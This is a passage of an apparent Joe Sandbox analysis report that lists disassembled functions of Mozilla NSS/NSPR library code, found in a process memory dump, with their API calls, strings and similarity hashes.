Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_smprintf.NSS3(%lu,?), ref: 6C99F899
PR_smprintf.NSS3(%s.%lu,00000000,?), ref: 6C99FA4E
PR_smprintf.NSS3(%s.%llu,00000000,00000000,00000000), ref: 6C99FAA2
PR_smprintf.NSS3(%s.UNSUPPORTED,00000000), ref: 6C99FAB6
free.MOZGLUE(00000000), ref: 6C99FAC1
PR_smprintf.NSS3(OID.UNSUPPORTED), ref: 6C99FAD3
__aulldiv.LIBCMT ref: 6C99FB00
PR_smprintf.NSS3(OID.%llu.%llu,00000000,?,00000000,FFFFFFD8,00000000,00000000,00000028,00000000), ref: 6C99FB4B

Strings

%s.%llu, xrefs: 6C99FA9D
OID.%llu.%llu, xrefs: 6C99FB46
OID.%lu.%lu, xrefs: 6C99FA7D
OID.UNSUPPORTED, xrefs: 6C99FACE
%s.%lu, xrefs: 6C99FA49
%s.UNSUPPORTED, xrefs: 6C99FAB1

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: R_smprintf$ErrorValue__aulldivfree
String ID: %s.%llu$%s.%lu$%s.UNSUPPORTED$OID.%llu.%llu$OID.%lu.%lu$OID.UNSUPPORTED
API String ID: 2145857551-3523515424
Opcode ID: 2b98d28865a75b62b5e7ccfcc5e3c1935c7b1e464a6ed0051d8afc6f4b951bfd
Instruction ID: 29d747700d7365d056dc874c0a61293a98a56c89a548e91b38501e7dc5f10bdb
Opcode Fuzzy Hash: 2b98d28865a75b62b5e7ccfcc5e3c1935c7b1e464a6ed0051d8afc6f4b951bfd
Instruction Fuzzy Hash: 3A816972E160210BEB084B2D8C5577EFBAADBC530CF1C4669F462DBB85E674C80593A0

Function 6C9B38C0 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE028,00000000,?), ref: 6C9B38F2
SECKEY_ECParamsToBasePointOrderLen.NSS3(-00000010,?,?,?,?,?), ref: 6C9B3902
SECITEM_CopyItem_Util.NSS3(00000000,00000014,6C9B5E83), ref: 6C9B3AB0
SECITEM_CopyItem_Util.NSS3(00000000,00000038,6C9B5E87), ref: 6C9B3AEA
SECITEM_CopyItem_Util.NSS3(00000000,00000014,6C9B5E63), ref: 6C9B3B03
SECITEM_CopyItem_Util.NSS3(00000000,00000020,6C9B5E6F), ref: 6C9B3B1C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C9B3B40
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C9B3B70
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C9B3B88
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9B3B9D
PL_FreeArenaPool.NSS3(?), ref: 6C9B3BB2
PL_FinishArenaPool.NSS3(?), ref: 6C9B3BBD
SECITEM_CopyItem_Util.NSS3(00000000,00000010,?), ref: 6C9B3BD4
SECITEM_CopyItem_Util.NSS3(00000000,-00000020,6C9B5E4F), ref: 6C9B3BF2
PK11_DestroyObject.NSS3(?,?), ref: 6C9B3C1B
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9B3C40

Strings

security, xrefs: 6C9B3B6A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Item_$Copy$ArenaPool$ErrorFree$Arena_BaseCallDecodeDestroyFinishInitK11_ObjectOnceOrderParamsPointQuick
String ID: security
API String ID: 3293387093-3315324353
Opcode ID: 5d17cd260ee6eb63e89cab839bc1ba304dd5b3bc61ee0e26e8a2fad7f7c04a51
Instruction ID: bda36c24a54fd9b25dc30dd02b2e5ccacf7d744f52b152b66d6c9edffbe77b32
Opcode Fuzzy Hash: 5d17cd260ee6eb63e89cab839bc1ba304dd5b3bc61ee0e26e8a2fad7f7c04a51
Instruction Fuzzy Hash: 1651A2B2E00204ABE710DE65ED81FAB73ACBB2424DF040569EC06A7B51FB35E559C761

Function 6C9919A0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 141networkCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSPR_FD_CACHE_SIZE_LOW), ref: 6C9919BB

Part of subcall function 6C991240: TlsGetValue.KERNEL32(00000040,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991267
Part of subcall function 6C991240: EnterCriticalSection.KERNEL32(?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C99127C
Part of subcall function 6C991240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991291
Part of subcall function 6C991240: PR_Unlock.NSS3(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C9912A0

PR_GetEnvSecure.NSS3(NSPR_FD_CACHE_SIZE_HIGH), ref: 6C9919CA
PR_NewLock.NSS3 ref: 6C991A17

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_NewLock.NSS3 ref: 6C991A21

Part of subcall function 6CA698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
Part of subcall function 6CA698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E
Part of subcall function 6CA698D0: free.MOZGLUE(00000000), ref: 6CA6995E

PR_NewCondVar.NSS3(00000000), ref: 6C991A2C

Part of subcall function 6C98BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C9921BC), ref: 6C98BB8C

GetStdHandle.KERNEL32(000000F6), ref: 6C991A3B

Part of subcall function 6C9240C0: malloc.MOZGLUE(00000018,00000000,00000000,?,6C991A48), ref: 6C9240D9
Part of subcall function 6C9240C0: malloc.MOZGLUE(0000001C,6C991A48), ref: 6C9240EC

GetStdHandle.KERNEL32(000000F5), ref: 6C991A6F

Part of subcall function 6C9240C0: PR_Lock.NSS3(00000000,00000000,?,6C991A48), ref: 6C924128
Part of subcall function 6C9240C0: PR_Unlock.NSS3(6C991A48), ref: 6C924140
Part of subcall function 6C9240C0: free.MOZGLUE(00000000), ref: 6C92414B
Part of subcall function 6C9240C0: PR_Unlock.NSS3(6C991A48), ref: 6C924178

GetStdHandle.KERNEL32(000000F4), ref: 6C991AA3
WSAStartup.WSOCK32(00000101,?), ref: 6C991B00
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000), ref: 6C991B27
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000), ref: 6C991B40
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C991B80
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C991B94
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C991BA8

Strings

NSPR_FD_CACHE_SIZE_LOW, xrefs: 6C9919B6
NSPR_FD_CACHE_SIZE_HIGH, xrefs: 6C9919C5

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Error$HandleLockUnlock$CriticalSectionSecureatoicallocfreemalloc$CondCountEnterInitializeLastSpinStartupValuegetenv
String ID: NSPR_FD_CACHE_SIZE_HIGH$NSPR_FD_CACHE_SIZE_LOW
API String ID: 1503490954-91517431
Opcode ID: ad7a2e5029c7e9034d9150e4cdfd2fc9c3ada3181aeff880df875e4f23f42108
Instruction ID: 5686ed6ee9d5460b47e75817184de3ef5c1cacccb0472610f4c65df46feafdae
Opcode Fuzzy Hash: ad7a2e5029c7e9034d9150e4cdfd2fc9c3ada3181aeff880df875e4f23f42108
Instruction Fuzzy Hash: 1C51F4B1F003009FEB109F69D944A59B7FCBB27758B1C452AE8198BB60E770DC88CB91

Function 6C9CD8F0 Relevance: 27.4, APIs: 18, Instructions: 354COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000010,00000054,?,00000008,00000054,00000000), ref: 6C9CDA45
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDA59
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDA89
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDA9D
TlsGetValue.KERNEL32 ref: 6C9CDB0A
EnterCriticalSection.KERNEL32(?), ref: 6C9CDB1E
TlsGetValue.KERNEL32 ref: 6C9CDB43
EnterCriticalSection.KERNEL32(?), ref: 6C9CDB57
TlsGetValue.KERNEL32(00000000,?,6C9CD06D), ref: 6C9CDB7C
EnterCriticalSection.KERNEL32(?,?,6C9CD06D), ref: 6C9CDB90
PR_Unlock.NSS3(?), ref: 6C9CDBBD
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDC21
PR_SetError.NSS3(00000000,00000000,?,?,?,?), ref: 6C9CDC39
PK11_DoesMechanism.NSS3(?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDC64
TlsGetValue.KERNEL32(?,?,?,00000000,?,6C9CD06D), ref: 6C9CDC84
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDC98
PK11_DoesMechanism.NSS3(?,CE53436C,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDCE6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C9CD06D), ref: 6C9CDD01

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterSectionValue$Unlock$DoesK11_Mechanism$Error
String ID:
API String ID: 3890939128-0
Opcode ID: a0cfa3c6a1f4d9aa7e770a593959ae60e2f9d24c36dca7269931bde33cea60fc
Instruction ID: 438016e97a1e672605231387bcec0dd975335e518c635be49b716fa7acaa429c
Opcode Fuzzy Hash: a0cfa3c6a1f4d9aa7e770a593959ae60e2f9d24c36dca7269931bde33cea60fc
Instruction Fuzzy Hash: B1E19C36780701CFD7209F29D884B66B7B8FF19318F148969D95A87B61D770F885CB82

Function 6CA328C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

TlsGetValue.KERNEL32 ref: 6CA3290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CA3291E
TlsGetValue.KERNEL32 ref: 6CA32937
EnterCriticalSection.KERNEL32(00000001), ref: 6CA3294B
PR_EnterMonitor.NSS3(?), ref: 6CA32966
PR_EnterMonitor.NSS3(?), ref: 6CA329AC
PR_ExitMonitor.NSS3(?), ref: 6CA329D1
PR_EnterMonitor.NSS3(?), ref: 6CA329F0
PR_EnterMonitor.NSS3(?), ref: 6CA32A15
PR_EnterMonitor.NSS3(?), ref: 6CA32A37
PR_ExitMonitor.NSS3(?), ref: 6CA32A61
PR_ExitMonitor.NSS3(?), ref: 6CA32A78
PR_ExitMonitor.NSS3(?), ref: 6CA32A8F
PR_ExitMonitor.NSS3(?), ref: 6CA32AA6

Part of subcall function 6CA69440: TlsGetValue.KERNEL32 ref: 6CA6945B
Part of subcall function 6CA69440: TlsGetValue.KERNEL32 ref: 6CA69479
Part of subcall function 6CA69440: EnterCriticalSection.KERNEL32 ref: 6CA69495
Part of subcall function 6CA69440: TlsGetValue.KERNEL32 ref: 6CA694E4
Part of subcall function 6CA69440: TlsGetValue.KERNEL32 ref: 6CA69532
Part of subcall function 6CA69440: LeaveCriticalSection.KERNEL32 ref: 6CA6955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CA32AF9
free.MOZGLUE(?), ref: 6CA32B16
PR_Unlock.NSS3(?), ref: 6CA32B6D
PR_Unlock.NSS3(?), ref: 6CA32B80

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 72019cae16452c438a05dd5b02c1187c8f8afe4c42b183cae3b7686d0697a75d
Instruction ID: f97954c7296a3e169e4556b2911d58dc84e1634e958f58b6a5cbd602b96cb022
Opcode Fuzzy Hash: 72019cae16452c438a05dd5b02c1187c8f8afe4c42b183cae3b7686d0697a75d
Instruction Fuzzy Hash: 1881F5B1A007015BE7209F39ED55B97B7E5AF14308F085928E89EC3B12EB35E599CB81

Function 6CAB9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CAB9C70
PR_NewLock.NSS3 ref: 6CAB9C85

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_NewCondVar.NSS3(00000000), ref: 6CAB9C96

Part of subcall function 6C98BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C9921BC), ref: 6C98BB8C

PR_NewLock.NSS3 ref: 6CAB9CA9

Part of subcall function 6CA698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
Part of subcall function 6CA698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E
Part of subcall function 6CA698D0: free.MOZGLUE(00000000), ref: 6CA6995E

PR_NewLock.NSS3 ref: 6CAB9CB9
PR_NewLock.NSS3 ref: 6CAB9CC9
PR_NewCondVar.NSS3(00000000), ref: 6CAB9CDA

Part of subcall function 6C98BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C98BBEB
Part of subcall function 6C98BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C98BBFB
Part of subcall function 6C98BB80: GetLastError.KERNEL32 ref: 6C98BC03
Part of subcall function 6C98BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C98BC19
Part of subcall function 6C98BB80: free.MOZGLUE(00000000), ref: 6C98BC22

PR_NewCondVar.NSS3(?), ref: 6CAB9CF0
PR_NewPollableEvent.NSS3 ref: 6CAB9D03

Part of subcall function 6CAAF3B0: PR_CallOnce.NSS3(6CB014B0,6CAAF510), ref: 6CAAF3E6
Part of subcall function 6CAAF3B0: PR_CreateIOLayerStub.NSS3(6CB0006C), ref: 6CAAF402
Part of subcall function 6CAAF3B0: PR_Malloc.NSS3(00000004), ref: 6CAAF416
Part of subcall function 6CAAF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CAAF42D
Part of subcall function 6CAAF3B0: PR_SetSocketOption.NSS3(?), ref: 6CAAF455
Part of subcall function 6CAAF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CAAF473

Part of subcall function 6CA69890: TlsGetValue.KERNEL32(?,?,?,6CA697EB), ref: 6CA6989E

EnterCriticalSection.KERNEL32(?), ref: 6CAB9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CAB9DAF
_PR_CreateThread.NSS3(00000000,6CAB9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CAB9D9F

Part of subcall function 6C98B3C0: TlsGetValue.KERNEL32 ref: 6C98B403
Part of subcall function 6C98B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C98B459

_PR_CreateThread.NSS3(00000000,6CABA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CAB9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CAB9DFC
_PR_CreateThread.NSS3(00000000,6CABA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CAB9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CAB9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CAB9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CAB9E89

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 7ee68610ed17fb80c850f3d18985af4429941df318897676f8c096846968be32
Instruction ID: ae1e03eca8a669fd97aee1fa0af6f4c6d1638177a0e65f6f0b93d916b3ff0fbc
Opcode Fuzzy Hash: 7ee68610ed17fb80c850f3d18985af4429941df318897676f8c096846968be32
Instruction Fuzzy Hash: F8616DB1A01706AFD714DF75D944AA7BBF8FF18208B04453AE81AD7B51E730E858CBA1

Function 6C9B3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C9B4014

Part of subcall function 6C9B39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9B5E6F,?), ref: 6C9B3A08
Part of subcall function 6C9B39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9B5E6F), ref: 6C9B3A1C
Part of subcall function 6C9B39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9B3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C9B4038

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C9B404D

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CACA0F4), ref: 6C9B40C2

Part of subcall function 6C9FF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C9FF0C8
Part of subcall function 6C9FF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9FF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C9B409A

Part of subcall function 6C9FBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C9AE708,00000000,00000000,00000004,00000000), ref: 6C9FBE6A
Part of subcall function 6C9FBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C9B04DC,?), ref: 6C9FBE7E
Part of subcall function 6C9FBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C9FBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9B40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9B4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C9B411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C9B4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C9B4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CACA1C8), ref: 6C9B417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C9B4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C9B41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9B41B2
PK11_DestroyObject.NSS3(?,?), ref: 6C9B41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9B41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CACA1A8), ref: 6C9B422D

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 3d61f748f455b43f16763c557a983be5b1d9da4eb40ac7623d5574204913c4d5
Instruction ID: 616008df3f2a15ee7d2e4934131cb40ed34216d69315b000d7d32dd4b338ce64
Opcode Fuzzy Hash: 3d61f748f455b43f16763c557a983be5b1d9da4eb40ac7623d5574204913c4d5
Instruction Fuzzy Hash: 4E5106B1F003007BF7109B25AD41B6776DC9F7424CF044528E96DE6B82FB31E518AAA2

Function 6C9F9890 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 273COMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,00000010,?,?,?,?,00000000,00000010,?,6C9F2403,00000000,00000000), ref: 6C9F9963
PORT_ArenaGrow_Util.NSS3(00000000,00000000,00000000,00000007,00000000,00000010,?,6C9F2403,00000000,00000000), ref: 6C9F98C0

Part of subcall function 6CA01340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0136A
Part of subcall function 6CA01340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0137E
Part of subcall function 6CA01340: PL_ArenaGrow.NSS3(?,6C99F599,?,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?), ref: 6CA013CF
Part of subcall function 6CA01340: PR_Unlock.NSS3(?,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0145C

malloc.MOZGLUE(00000007,00000000,00000010,?,6C9F2403,00000000,00000000), ref: 6C9F98D6
free.MOZGLUE(00000000), ref: 6C9F9B90

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&, xrefs: 6C9F9903, 6C9F99AE
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=/?|, xrefs: 6C9F9A53, 6C9F9AF7
pkcs11:, xrefs: 6C9F98F5

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
